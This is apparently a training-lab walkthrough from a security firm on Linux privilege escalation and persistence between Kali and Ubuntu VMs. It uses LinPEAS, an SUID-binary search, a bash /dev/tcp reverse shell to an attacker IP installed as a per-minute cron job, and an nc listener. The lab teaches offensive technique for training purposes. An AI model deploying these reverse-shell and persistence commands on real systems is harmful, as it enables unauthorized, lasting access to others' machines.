



Privilege Escalation and Persistence Lab

Privilege Escalation

This phase teaches you how to go from a **low-privileged user** (like a regular account) to **root or administrator** access.

Common Techniques:

- Exploiting **SUID binaries** or **misconfigured sudo rules**
- Leveraging **kernel vulnerabilities**
- Abusing **environment variables** or **cron jobs**
- Using tools like **LinPEAS**, **PowerSploit**, or **GTFOBins**

Persistence

Once you have elevated privileges, the goal is to **stay in control** of the system—even after reboot or detection.

Common Techniques:

- Creating **cron jobs** or **systemd services**
- Adding **backdoor user accounts**
- Modifying **startup scripts**
- Using **Metasploit's persistence modules** or **custom reverse shell scripts**

Step 1: Setup SSH on Ubuntu

On Ubuntu (target):

```
sudo apt update
```

```
sudo apt install openssh-server -y
```

```
sudo systemctl enable ssh
```

```
sudo systemctl start ssh
```

```
sudo systemctl status ssh
```



Verify SSH is running:

```
New Ubuntu [Running] - Oracle VirtualBox
File Machine View Input Devices Help

Activities Terminal Sep 21 23:35
sunbeam@ubuntu: ~

4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DO
WN group default
    link/ether 02:42:95:90:17:32 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
sunbeam@ubuntu:~$ sudo systemctl status ssh
[sudo] password for sunbeam:
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset:
   Active: active (running) since Sun 2025-09-21 22:58:14 IST; 11min ago
     Docs: man:sshd(8)
           man:sshd_config(5)
   Process: 784 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
    Main PID: 816 (sshd)
       Tasks: 1 (limit: 2279)
      Memory: 3.9M
         CPU: 115ms
    CGroup: /system.slice/ssh.service
            └─816 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Sep 21 22:58:14 ubuntu systemd[1]: Starting OpenBSD Secure Shell server...
Sep 21 22:58:14 ubuntu sshd[816]: Server listening on 0.0.0.0 port 22.
Sep 21 22:58:14 ubuntu systemd[1]: Started OpenBSD Secure Shell server.
Sep 21 22:58:14 ubuntu sshd[816]: Server listening on :: port 22.
Sep 21 23:02:56 ubuntu sshd[2762]: Accepted password for sunbeam from 192.168.
Sep 21 23:02:56 ubuntu sshd[2762]: pam_unix(sshd:session): session opened for
Sep 21 23:02:56 ubuntu sshd[2762]: pam_unix(sshd:session): session closed for
sunbeam@ubuntu:~$ ss
```

Step 2: Download and Transfer LinPEAS

On Kali (attacker):

```
curl -o linpeas.sh https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh
```

```
chmod +x linpeas.sh
```

```
scp linpeas.sh sunbeam@192.168.56.109:/tmp/
```



```
kali new (Snapshot fresh) [Running] - Oracle VirtualBox
File Machine View Input Devices Help
sunbeam@kali: ~
File Actions Edit View Help
Main PID: 2672 (sshd)
Tasks: 1 (limit: 9377)
Memory: 2M (peak: 2.5M)
CPU: 32ms
CGroup: /system.slice/ssh.service
└─2672 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Sep 21 23:12:36 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell
Sep 21 23:12:36 kali sshd[2672]: Server listening on 0.0.0.0 port 22.
Sep 21 23:12:36 kali sshd[2672]: Server listening on :: port 22.
Sep 21 23:12:36 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell s

(sunbeam@kali)-[~]
$ ssh sunbeam@192.168.56.109 "ls /tmp"
^C
Home
(sunbeam@kali)-[~]
$ scp linpeas.sh sunbeam@192.168.56.109:~
scp: stat local "linpeas.sh": No such file or directory

(sunbeam@kali)-[~]
$ curl -o linpeas.sh https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           %             %             Dload  Upload  Total  Spent    Left  Speed
0         0     0     0     0     0      0      0  --:--:-- --:--:-- --:--:--     0
curl: (6) Could not resolve host: raw.githubusercontent.com

(sunbeam@kali)-[~]
$
```

Step 3: Run LinPEAS on Ubuntu

On Ubuntu (target):

chmod +x /tmp/linpeas.sh

/tmp/linpeas.sh

Look for:

- SUID binaries



- Writable root files
- Cron jobs
- Kernel version

Step 4: Find SUID Binaries

O find / -perm -4000 -type f 2>/dev/null

Example vulnerable binary: /usr/bin/suid-test

Try run **/usr/bin/suid-test**

whoami

id

If it gives root access, you've successfully escalated privileges.

Step 5: Create Persistence via Cron Job

On Ubuntu (as root):

Create reverse shell script:

echo '#!/bin/bash' > /tmp/rev.sh

echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' >> /tmp/rev.sh

chmod +x /tmp/rev.sh

Add Cron Job

(crontab -l 2>/dev/null; echo "* * * * * /tmp/rev.sh") | crontab -

Step 6: Listen for Reverse Shell on Kali

On Kali:

nc -lvnp 4444

Persistence Summary

A cron job was configured to run a reverse shell script every minute, ensuring persistent access. The script resides in /tmp and connects back to the attacker's IP. This stealthy method allows re-entry even after reboot, making it a reliable post-exploitation tactic for maintaining control.



CYART

inquiry@cyart.io

www.cyart.io